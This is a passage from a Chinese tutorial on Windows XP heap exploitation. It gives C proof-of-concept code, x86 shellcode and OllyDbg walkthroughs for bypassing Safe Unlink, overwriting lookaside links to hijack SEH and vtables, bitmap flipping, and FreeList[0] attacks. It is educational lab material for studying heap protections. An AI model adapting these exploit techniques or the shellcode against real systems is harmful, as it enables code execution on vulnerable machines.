if((*(node->Blink) == node) && (*(node->Flink + 4) == node))

注意:本方法限制较多,以下例子只是简单地复现了一下实现步骤:

实验环境
环境 环境设置
操作系统 Windows XP SP3
编译器 VC 6.0++
编译选项 默认
编译版本 Release (工具栏右键->编译)
实验代码
#include <windows.h>
char shellcode1[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x1B\x00\x1A\x00\x2C\x00\x0E\x00"
"\x4C\x02\x3A\x00\x54\x02\x3A\x00"; char shellcode2[]=
"\xAA\xAA\xAA\xAA\x90\x90\x90\x90\x90\x90"
"\x90\x90"; int main()
{
HLOCAL h1 = 0, h2 = 0, h3 = 0, h4 = 0, h5 = 0, h6 = 0, h7 = 0;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,202);
h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,209);
__asm int 3
HeapFree(hp,0,h1);
HeapFree(hp,0,h3);
HeapFree(hp,0,h5);
memcpy(h4,shellcode1,216);
h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,202);
h7 = HeapAlloc(hp,HEAP_ZERO_MEMORY,202);
memcpy(h7,shellcode2,12); return 0;
}
实验过程
  1. 当需要unlink的堆块为该空表上的唯一一个堆块,此时会存在一个特殊情况:

    堆块的Flink字段等于Blink字段等于空表头结点,空表头结点的Flink字段也等于Blink字段等于堆块地址

  2. 运行实验代码,出现断点异常时使用OllyDbg附加到程序中进行单步调试,此时已申请完6个堆块,单步执行程序一直到三次释放结束,此时观察堆块情况:

    注意:查找堆块方法和调试堆请见2.4,和前面的方法基本一致。本实验申请的前四个块为200字节(堆块大小为208字节,堆块索引 = 208/8 = 26),所以释放的h1和h3被链入FreeList[26],同理释放的h5被链入FreeList[27]

    • 可见空表头结点的Flink字段等于Blink字段等于堆块地址:FreeList[x]->Flink = FreeList[x]->Blink = &(node->Flink) = 0x003A09C8

    此时FreeList[27]中只链入该堆块一个结点,符合条件,即FreeList[27]为图中的FreeList[x],查看0x003A09C8地址处的h5堆块情况:

    • 可见堆块的Flink字段等于Blink字段等于空表头结点的地址:node->Flink = node->Blink = &(FreeList[x]) = &(FreeList[x]->Flink) = 0x003A0250

    • 该结点情况同时也符合验证条件:*(node->Blink) = *(node->Flink + 4) = 0x003A09C8

  3. 通过堆溢出漏洞将该堆块的Flink字段修改为Freelist[x-1].Blink的地址,将Blink字段修改为Freelist[x].Blink的地址,此时仍可以通过Unlink之前的安全检测,如图所示:

    原理解释

    ​ 将该堆块的Flink和Blink字段修改后如下:

    node->Flink = &(Freelist[x-1].Blink) = 0x003A024C
    node->Blink = &(Freelist[x].Blink) = 0x003A0254

    ​ 发现修改后两者相等,也符合检验条件

    *(node->Flink + 4) = 0x003A09C8
    *(node->Blink) = 0x003A09C8
  4. 在OllyDbg中继续单步执行,运行完memcpy(h4,shellcode1,216); 这一行代码后停住。因为h4堆块只申请了200字节的内存,而此行代码拷贝216个字节,造成堆溢出,将shellcode1 201-216字节的内容写入下一个堆块,修改了下一个堆块的前16个字节。

    注意:shellcode中201字节-216字节需自己调试,不同环境可能不一样。

    查看堆块情况,发现此时已修改成功:

  5. 在OllyDbg中继续运行,调用HeapAlloc再次申请h5堆块相同的大小,此时已成功绕过Safe Unlink,绕过安全检测后执行Unlink操作的结果如图所示:

    执行完Unlink操作后,FreeList[x].Blink和FreeList[x].Flink被修改

    FreeList[x].Blink = &(FreeList[x-1].Blink),即0x003A0254地址处的0x003A09C8被改为0x003A024C
    FreeList[x].Flink = &(FreeList[x].Blink),即0x003A0250地址处的0x003A09C8被改为0x003A0254

  6. 在OllyDbg中继续执行,再次调用HeapAlloc申请和h5同样大小的堆块,此时按照算法会将Freelist[x].Blink指向的堆块分配给用户使用,而在之前构造好的条件下会将Freelist[x-1].Blink及下方的空间当成堆块分配给用户,并且该堆块的用户区指针为Freelist[x].Blink。

  7. 此时我们第一次对指针进行写时,会从Freelist[x-1].Blink往下写,很容易将Freelist[x].Blink覆盖为任意地址,第二次写时即可往任意地址写任意数据

    在OllyDbg中继续执行,可将FreeList[26].Blink,FreeList[27].Flink,FreeList[27].Blink覆盖为任意地址

    此处未利用该堆溢出漏洞进行破坏,只是演示了原理,所以随便写入了一些东西,感兴趣的同学可以继续研究

3.5.3 Lookaside List Link Overwrite

1. 漏洞成因

​ 该漏洞的产生是由于快表在分配堆块时,未检测其Flink字段指向地址的合法性,会造成在按照快表分配算法执行时,会将非法地址作为堆头分配给用户,最终导致任意地址写任意长度数据的漏洞

1)快表中正常拆卸一个节点的过程

2)漏洞原理

​ 在堆溢出的基础上,使与可溢出堆块相邻的下一个堆块链入空表,再利用堆溢出将链入空表堆块的前项指针修改为函数跳转地址或虚表地址。构造好堆块后,在接下来快表第一次分配相应大小的堆块时会将被篡改堆头的堆块分配给用户使用,并将非法Flink地址作为堆头链入空表头结点,在快表第二次分配相应大小的堆块时,即可将指定地址及其后方空间作为堆块申请给用户使用,再对堆块进行赋值即可造成任意地址写任意数据的操作。该伪造的地址一般可以为敏感函数、虚表地址等以及上文所提到的该版本中的堆攻击重灾区:P.E.B结构及异常处理机制中的各种结构。

​ 如果控制 node->next 就控制了 Lookaside[n]-> next,进而当用户再次申请空间的时候系统就会将这个伪造的地址作为申请空间的起始地址返回给用户,用户一旦向该空间里写入数据就会留下溢出的隐患

2. 利用方式——攻击SEH

实验环境
环境 环境设置
操作系统 Windows XP SP3(此方法在Windows XP SP2 – Windows 2003均可实现,只是堆块地址有细微不同,需要自己调试)
编译器 VC 6.0++
编译选项 默认
编译版本 Release (工具栏右键->编译)
实验代码
#include <stdio.h>
#include <windows.h>
void main()
{
char shellcode []=
"\xEB\x40\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//填充跳转指令,跳过下面的填充指令执行弹出对话框代码
"\x03\00\x03\x00\x5C\x01\x08\x99"//填充
"\xE4\xFF\x12\x00"//用默认异常处理函数指针所在位置覆盖
//覆盖CommitRoutine:"\x78\x05\x3a\x00"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//填充
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//填充
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//填充
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;
HLOCAL h1,h2,h3;
HANDLE hp;
hp = HeapCreate(0,0,0);
__asm int 3
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
HeapFree(hp,0,h3);
HeapFree(hp,0,h2);
memcpy(h1,shellcode,300);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
memcpy(h3,"\x90\x1E\x39\x00",4);
//覆盖CommitRoutine:memcpy((char *)h3+4,"\x90\x1E\x39\x00",4);之后如果我们继续申请大内存,会触发CommitRoutine这个函数指针,而由于这个指针我们可控,所以可以导致执行任意代码
//
int zero=0;
zero=1/zero;
printf("%d",zero); }
实验过程
  1. 直接运行程序,遇到断点中断,使用OllyDbg附加到进程,首先申请 3 块 16 字节的空间,然后将其释放到快表中,以便下次申请空间时可以从快表中分配

    本次实验中h1,h2,h3堆块地址为:0x003A1E90、0x003A1EA8 和 0x003A1EC0

  2. 通过计算发现只需要向 h1 中复制超过 28 个字节的字符就可以覆盖掉 h2 中指向下一个结点的指针,填充shellcode:

    charshellcode[]=
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //填充
    "\x03\00\x03\x00\x00\x01\x08\x00" //直接拷贝块首数据
    "\xE4\xFF\x12\x00" //用默认异常处理函数指针所在位置覆盖
    ;

  3. 在OllyDbg中继续单步执行,执行堆溢出的代码,查看堆块状态:此时已成功修改h3堆块的下一个结点的指针

  4. 再次申请 16 个字节空间,系统就会将 0x0012FFE4 写入Lookaside[3]处

  5. 再次申请16个字节空间,此时系统会将Lookaside[3]处的0x0012FFE4 返回给用户,继续单步运行程序直到 0x00401084 处,即再次申请空间结束时。通过 EAX 可以看出程序申请到的空间起始地址确实为 0x0012FFE4

  6. 此时向这个刚申请的空间里写入 shellcode 的起始地址就可以将0x0012FFE4处的异常处理函数处理程序改为shellcode起始地址了,为了方便,可将shellcode写入h1,此时只需将h1的地址0x003A1E90写入刚申请的空间中即可,继续运行,可见此时异常处理程序的地址已被更改

  7. 测试结果如下:

3. 利用Lookaside的链入卸下的性质覆盖虚函数表

实验环境
环境 环境设置
操作系统 Windows XP SP3(此方法在Windows XP SP2 – Windows 2003均可实现,只是堆块地址有细微不同,需要自己调试)
编译器 VC 6.0++
编译选项 默认
编译版本 Release (工具栏右键->编译)
实验代码
#include <stdio.h>
#include <windows.h>
class test {//定义一个类结构
public:
test() {
memcpy(m_test, "1111111111222222", 16);
};
virtual void testfunc() {//等下我们要覆盖的虚函数
printf("aaaa\n");
}
char m_test[16];
};
int main() {
HLOCAL hp;
HLOCAL h1, h2, h3;
hp = HeapCreate(0, 0x1000, 0);//新创建一个堆块
//申请一样大小的三块,申请24.
_asm int 3;
h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 24);
h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 24);
h3 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 24);
//将第一块内充满shellcode
memcpy(h1, "AAAABBBBCCCCDDDDEEEEFFFFGGGG", 24);
test *testt = new test();
test *tp;
memcpy(h3, testt, 24);//将创建的类的结构拷贝到第三个堆块中去
//释放后将它们都会自动添加到lookaside链表中去。H3->h2->h1
HeapFree(hp, 0, h1);
HeapFree(hp, 0, h2);
HeapFree(hp, 0, h3);
//添加完后,其虚函数的地址被修改为h1的地址
//下面调用其虚函数。
tp = (test *)h3;
tp->testfunc();//此时执行的是0000AAAABBBB这些填充的shellcode
delete testt;
HeapDestroy(hp);
return 0;
}
实验过程
  1. 直接运行程序,遇到断点中断,使用OllyDbg附加到进程,首先申请 3 块 24 字节的空间,将h1堆块填充好shellcode,本实验中作为测试,随便写的shellcode

  2. 将创建的类的结构拷贝到第三个堆块中去

    虚表指针处存放了虚函数地址:

  3. 将三个堆块释放到快表中,此时Lookaside[4]->h3->h2->h1。添加完后,h3堆块中的类结构其虚表指针被覆盖为0x003A1EB0(h2->Flink的地址),当调用h3堆块所在类的虚函数时,自动寻找其虚表指针所在处,查表查找虚函数地址,找到0x003A1EB0处存放的0x003A1E90,将其作为虚函数地址。

    此时自动跳转到0x003A1E90处执行其中的代码

3.5.4 Bitmap Flipping Attack

1. 漏洞成因

空表位图

​ 空闲列表的空表位图,称为FreeListInUseBitmap,被用作在 FreeList中进行快速扫描。位于HEAP结构偏移0x158处

​ 位图中的每一位对应一个空闲的列表,如果在对应的列表中有任何的空闲块(经过FreeHeap释放的堆块), 这个位将会被设置。在位图中一共有 128 位(4 个双字节),与 128 个处理分配<1016 大小的空闲列表相对应。

位图搜索算法

​ 若快表分配失败,此时在空表中搜索,若此时FreeList[n]中没有链入的空闲块,此时在空表位图FreeListInUseBitmap中搜索,它通过搜索整个bitmap,然后找到一个置位,通过这个置位, 可以在这个列表中找到下一个最大的空闲块。从中切下合适的块进行分配。

​ 如果系统跑完这个位图还没有找到合适的块,它将试着从FreeList[0]中找到一块出来。

举例

​ 如果一个用户在堆中请求32字节的空间,在Lookaside[5]中没有相应的块, 并且FreeList[5]也是空的,,那么, 位图就被用作在预处理列表中来查找大于40字节的块(从FreeList[6]位图搜索),直到搜索到一个置位,将该处的空闲块分配给用户

利用空表位图进行攻击

​ FreeList有两个指针,FLink和Blink,如果这个表项是空的, 那么这两个指针会指向堆基址最开始的节点处,如下所示:

​ 可见FreeList[2]中的链表是空的,所以两个指针都指到了0x150188。 如果位图能被欺骗(将位图中对应的FreeList[2]位设为1),则认为FreeList[2]包含空闲块, 那么它就会返回它认为在 0x15088处有空闲块,如果用户提供的数据能够写入那个地址, 那么堆基址的元数据将会被覆盖掉, 将会导致代码执行

2. 利用方式

实验环境
环境 环境设置
操作系统 Windows XP SP3(此方法在Windows XP SP2 – Windows 2003均可实现,只是堆块地址有细微不同,需要自己调试)
编译器 VC 6.0++
编译选项 默认
编译版本 Release (工具栏右键->编译)
实验代码
#include <stdio.h>
#include <windows.h>
int main() {
HLOCAL hp;
HLOCAL h1, h2, h3, h4;
DWORD bitmap_addr;
hp = HeapCreate(0, 0x1000, 0x10000);//将创建的堆设为固定的大小,这样就没有lookaside 表了,我们重点关注的是 freelist 表,所以这里可以忽略 lookaside 表的影响
printf("The base of the heap is %08x\n", hp); _asm int 3;
//修改 bitmap 表
bitmap_addr = (DWORD)hp + 0x158 + 4;//0x158 为 bitmap 表的偏移, +4 为下一个 32 位
__asm {
mov edi, bitmap_addr
inc[edi]
}
//因为 bitmap[32]被置为 1,所以请求只能从 bitmap[32]的地方取,此时会造成异常。
h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16);
//在分配过程中会产生异常,因为分配的是一个 0x3a0278 处的块,这正好是freelist[32]的地址。如果将异常忽略。
//最后成功分配的则是 freelist[n]上面设置的那个 bitmap 位的地址
printf("The alloc heap chunk addr is %08x\n", h1);
HeapDestroy(hp);
return 0;
}
实验过程
  1. 直接运行程序,遇到断点中断,使用OllyDbg附加到进程,修改0x158处的空表位图,查看该处内存,此时bit 32已被置位

  2. 继续运行,申请16字节的堆块,由于空表位图搜索算法,此时FreeList[3]处没有空闲的堆块,所以从空表位图中搜索置位,此时找到FreeList[32]所在地址,即0x003A0278

    对应源码如下:

    继续运行,此时将FreeList[32]地址处内存作为堆块分配给用户

    对应源码如下:

    注意

    ​ 在分配过程中会产生异常,因为分配的是一个 0x3a0278 处的块,这正好是freelist[32]的地址。如果将异常忽略。最后成功分配的则是 freelist[n]上面设置的那个 bitmap 位的地址

3.5.5 FreeList[0]攻击——Searching

1. 漏洞成因

​ 该漏洞的产生是由于0号空表在进行遍历搜索合适堆块时,未对链表中堆块前项指针的合法性进行校验,导致在遍历时跳出0号空表,最终通过利用漏洞达到任意地址写任意数据的效果。

FreeList[0]搜索算法

​ 当开始在FreeList[0]中搜索请求的堆块时, 首先会确定FreeList[0]中最后一个 节点是不是足够大能满足这个请求。如果可以,则会从链表的开始搜索,否则将会分配更多的内存来满足请求。搜索算法将会遍历整个链表, 直到找到一个足够大能满足要求的块, 取下这个堆块, 并且把它返回给用户。

漏洞原理

​ 如果能够覆盖FreeList[0]中的一个入口的能够满足要求的块的FLink, 那么这个地址将会被返回。

举例

​ 如图,FreeList[0]包含两个结点,一个大小为0x80(此处的大小单位为8字节,即堆块的分配粒度),另一个大小为0xF80。

  1. 如果要求分配一个1032字节大小的区块(大小包括8字节的堆块头),搜索算法将会看最后一块最大的是否满足要求,然后开始从头遍历整个链表。

  2. 此时第一个结点没有足够大满足要求,所以FLink将会被跟随到地址为0x1536A0的块。因为这个块大小为0xF80, 它将会被分割,返回1024(1032-8)字节大小给用户使用,然后把剩下的块放回空表中去,剩下的 FreeList[0] 如下图:

  3. 在遍历0号空表中前将空表中堆块的堆头溢出,覆盖其前项指针为FakeFlink。此时,申请一个大于该堆块且小于0号空表中最大堆块大小的堆块。按照0号空表的搜索算法,在遍历过被溢出堆块后,会将伪造的FakeFlink作为下一个堆块的入口地址,比较其Size字段是否满足申请空间的大小

  4. 在Size字段条件满足后,该伪造堆块会进行Unlink操作,虽然会被Safe Unlink机制检测出来,但仍然会被分配给用户使用。由于会进行Safe Unlink检测,因此该堆块的Flink及Bilnk,即Fake_Flink和Fake_Flink+4应该是可读的

    FakeFlink指向堆块大小的限制

    ​ 为了使堆管理器将该FakeFlink地址作为堆块入口分配给用户使用,需要满足[Fake_Flink-8]的Size字段大于申请大小,并且为了不产生堆切割及其后续繁琐操作,应该控制该Size字段在申请堆块大小+8字节之内,即RequstSize ≤ Size ≤ RequestSize+8

2. 利用方式

实验环境
环境 环境设置
操作系统 Windows XP SP3(此方法在Windows XP SP2 – Windows 2003均可实现,只是堆块地址有细微不同,需要自己调试)
编译器 VC 6.0++
编译选项 默认
编译版本 Release (工具栏右键->编译)
实验代码
#include <stdio.h>
#include <windows.h>
int main() {
HLOCAL hp1, hp2;
HLOCAL h1, h2, h3, h4;
char shellcode[] = "\x88\x06\xA3\x00";//00A20688,第二个堆的堆块的地址
_asm int 3;
hp1 = HeapCreate(0, 0x1000, 0x10000);//将创建的堆设为固定的大小,这样就没有lookaside 表了
hp2 = HeapCreate(0, 0x1000, 0x10000);//将创建第二个堆,该堆中第一个堆块地址为0x00A20688 printf(" 1 heap base %08x\n", hp1);
printf(" 2 heap base %08x\n", hp2); //让第一个堆的 freelist[0]里有一个堆块。
h1 = HeapAlloc(hp1, HEAP_ZERO_MEMORY, 0x400);//先分配这个堆块
h2 = HeapAlloc(hp1, HEAP_ZERO_MEMORY, 8);//再分配 8 个字节大小的空间,为防止其与另外的堆块合并 //分配一个在RequstSize ≤ Size ≤ RequestSize+8之间的堆块,再释放,此时该块已被链入第二个堆的FreeList[0]中
h4 = HeapAlloc(hp2, HEAP_ZERO_MEMORY, 0x40A);
HeapFree(hp2, 0, h4); HeapFree(hp1, 0, h1);//将第一个大块释放,这样它将会被链入 freelist[0]中 memcpy(h1, shellcode, 4);//覆盖到 h1 块的 flink 指针,使其指向一个 hp2 的块。 //现在的 freelist[0]->0x80->chunk,现在申请一个块,然后大于 0x80,所以开始从 chunk中割一块出来。
//而实际上,这个 chunk 已经被覆盖掉了。开始从覆盖的 chunk 处分割一个出来。
h3 = HeapAlloc(hp1, HEAP_ZERO_MEMORY, 0x408);//这里会进入一个死循环。
printf(" the alloc addr is %08x\n", h3);
HeapDestroy(hp1);
HeapDestroy(hp2);
return 0;
}
实验过程
  1. 直接运行程序,遇到断点中断,使用OllyDbg附加到进程。单步执行,创建两个堆,查看两个堆的所在地址,第一个堆所在地址为0x00A20000,第2个堆所在地址为0x00A30000

  2. 继续执行,在第一个堆中申请大小为1032字节的堆块,可见该堆块用户区地址为0x00A20688,

  3. 继续运行,申请第二个堆块,其用户区地址为0x00A20A90

  4. 继续运行,释放第一个大块,释放之后该大块被链入FreeList[0],此时可见FreeList[0].Flink为0x00A20688,即刚才申请的大块地址

  5. 查看第二个堆的FreeList[0],并没有空闲的块,只指向尾块,即0x00A30688

  6. 因为h1块已被释放,为空闲块,空闲块和占用块的HEAP_ENTRY不一样,空闲块的HEAP_ENTRY增加了双链表结点,即此时0x00A20688处已从用户区转为双链表结点的Flink

  7. 虽然h1堆块被释放,但是第一次HeapAlloc申请的h1地址没有变,仍为0x00A2068,内容为该堆块的Flink,此时可将该堆块的Flink改为第二个堆的尾块地址"\x88\x06\xA3\x00"

  8. 提出申请,请求分配0x408字节大小的堆块,此时会被Safe Unlink机制检测出来,此操作会进入死循环。可单步步入HeapAlloc函数中,可见0x003A0688将被分配给用户

3.5.6 FreeList[0]攻击——Linking

1. 漏洞成因

​ 在引入Safe Unlink机制使得Unlink操作变得困难后,研究人员们将目光投向了Unlink的逆过程Link。很快他们就发现了Link操作尚未添加保护机制检测堆块前项指针和后向指针的合法性,并在对指针进行赋值操作时能产生和DWORD SHOOT效果相似的漏洞。但是相较于DWORD SHOOT存在一定的局限性,该漏洞最终只能达到任意地址写4字节堆块地址的效果。

1)链表中发生插入操作的情况

​ ① 内存释放后 chunk 不再被使用时它会被重新链入链表

​ ② 当 chunk 的内存空间大于申请的空间时,剩余的空间会被建立成一个新的 chunk,链 入链表中

2)情况分析——第二种情况

​ ① 将 FreeList[0]上最后一个 chunk 的大小与申请空间的大小进行比较,如果 chunk 的 大小大于等于申请的空间,则继续分派,否则扩展空间(若超大堆块链表无法满足分配,则扩展堆)

​ ② 从 FreeList[0]的第一个 chunk 依次检测,直到找到第一个符合要求的 chunk,然后将 其从链表中拆卸下来(搜索恰巧合适的堆块进行分配)

​ ③ 分配好空间后如果 chunk 中还有剩余空间,剩余的空间会被建立成一个新 chunk,并 插入到链表中(堆块空间过剩则切分之)。

​ 第一步我们没有任何利用的机会。由于 Safe Unlink 的存在,如果去覆盖 chunk 的结构在第二步的时候就会被检测出来。但是即便 Safe Unlink 检测到 chunk 结构被破坏,它还是会允许后续的一些操作执行,例如重设 chunk 的大小。所以可以针对第三步进行堆溢出实验。

3)FreeList[0]重设 chunk 的具体过程

实验环境

环境 环境设置
操作系统 Windows XP SP3(此方法在Windows XP SP2 – Windows 2003均可实现,只是堆块地址有细微不同,需要自己调试)
编译器 VC 6.0++
编译选项 默认
编译版本 Release (工具栏右键->编译)

实验代码

#include<stdio.h>
#include<windows.h>
void main()
{
HLOCAL h1;
HANDLE hp;
hp = HeapCreate(0, 0x1000, 0x10000);
__asm int 3
h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 0x10);
}

实验过程

  1. 编译好程序后,直接运行程序,由于有 int 3 指令的存在程序会自动中断,然后单击“调试” 按钮就可以启用 OllyDbg 来调试程序(前提是将 OllyDbg 设置为默认调试器)。待 OllyDbg 启 动之后,观察内存状态可以看到堆的起始地址为 0x003A0000(EAX 的值)

  2. FreeList[0]位于0x003A0178,在 0x003A0178 处可以看到唯一的 chunk 位于 0x003A0688。

  3. 此时 FreeList[0]头节点和 chunk 如图所示:

  4. 直接进入到将新 chunk 插入链表的过程。在 0x7C930FE3 的位置下设断点,这是修改 chunk 中下一 chunk 指针和上一 chunk 指针的开始。

  5. 设置好断点后,按 F9 键让程序运行,待程序中断后,可以看到如下汇编代码:

    7C930FE3    8D47 08         LEA EAX,DWORD PTR DS:[EDI+8]	;获取新 chunk 的 Flink 位置
    7C930FE6 8985 10FFFFFF MOV DWORD PTR SS:[EBP-F0],EAX
    7C930FEC 8B51 04 MOV EDX,DWORD PTR DS:[ECX+4] ;获取下一chunk 中的 Blink 的值
    7C930FEF 8995 08FFFFFF MOV DWORD PTR SS:[EBP-F8],EDX
    7C930FF5 8908 MOV DWORD PTR DS:[EAX],ECX ;保存新 chunk 的 Flink
    7C930FF7 8950 04 MOV DWORD PTR DS:[EAX+4],EDX ;保存新 chunk 的 Blink
    7C930FFA 8902 MOV DWORD PTR DS:[EDX],EAX ;保存下一chunk中的Blink->Flink的Flink
    7C930FFC 8941 04 MOV DWORD PTR DS:[ECX+4],EAX ;保存下一chunk中的Blink

  6. 新 chunk 插入链表的过程如图所示:

    注意

    1)图中为了更好地反映新 chunk 的插入过程,对部分步骤的先后顺序进行了调整, 因此会与前面介绍的汇编指令稍有区别。

    2)第 4 步之所以那么绕是因为旧 chunk 已经从 FreeList[0]中卸载

  7. 将这一过程总结为公式:

    新chunk->Flink = 旧chunk->Flink
    新chunk->Blink = 旧chunk->Flink->Blink
    旧chunk->Flink->Blink->Flink = 新chunk
    旧chunk->Flink->Blink = 新chunk
  8. 当程序执行完 0x7C930FFC 处的 MOV DWORD PTR DS:[EC X+4], EAX 后,整个插入过程的关键部分也就结束了,此时观察 FreeList[0]的链表结构会发现它已经发生改变,改变结果如图所示

4)漏洞利用

​ 将旧 chunk 的 Flink 和 Blink 指针都覆盖为其他地址。

​ 例如,将旧 chunk 的 Flink 指针覆盖为 0xAAAAAAAA, Blink 指针覆盖为 0xBBBBBBBB,套用前面归纳的公式,可以得出如下结果:

[0x003A06A0] = 0xAAAAAAAA
[0x003A06A0 + 4] = [0xAAAAAAAA + 4]
[[0xAAAAAAAA + 4]] = 0x003A06A0
[0xAAAAAAAA + 4] = 0x003A06A0

​ 这实际上是一个向任意地址写入固定值的漏洞(DWORD SHOOT)。

注意

​ 0xAAAAAAAA+4 必须指向可读可写的地址,而 0xAAAAAAAA+4 中 存放的地址必须指向可写的地址,否则会出现异常

2. 利用方式

实验环境
环境 环境设置
操作系统 Windows XP SP3(此方法在Windows XP SP2 – Windows 2003均可实现,只是堆块地址有细微不同,需要自己调试)
编译器 VC 6.0++
编译选项 默认
编译版本 Release (工具栏右键->编译)
实验代码
#include <stdio.h>
#include <windows.h>
void main()
{
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x10\x01\x10\x00\x99\x99\x99\x99"
"\xEB\x06\x3A\x00\xEB\x06\x3A\x00"//覆盖 Flink 和 Blink
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xEB\x31\x90\x90\x90\x90\x90\x90"//跳转指令,跳过下面的垃圾代码
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x11\x01\x10\x00\x99\x99\x99\x99"
"\x8C\x06\x3A\x00\xE4\xFF\x12\x00"//伪造的 Flink 和 Blink
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
; HLOCAL h1,h2;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
__asm int 3
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
memcpy(h1,shellcode,300);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
int zero=0;
zero=1/zero;
printf("%d",zero);
}
实验思路

大概步骤

1)首先 h1 向堆中申请 16 个字节的空间

2)由于此时堆刚刚初始化所以空间是从 FreeList[0]中申请的,从 FreeList[0]中拆卸下来 的 chunk 在分配好空间后会将剩余的空间新建一个 chunk 并插入到 FreeList[0]中,所以 h1 后面会跟着一个大空闲块

3)当向 h1 中复制超过 16 个字节空间时就会覆盖后面 chunk 的块首

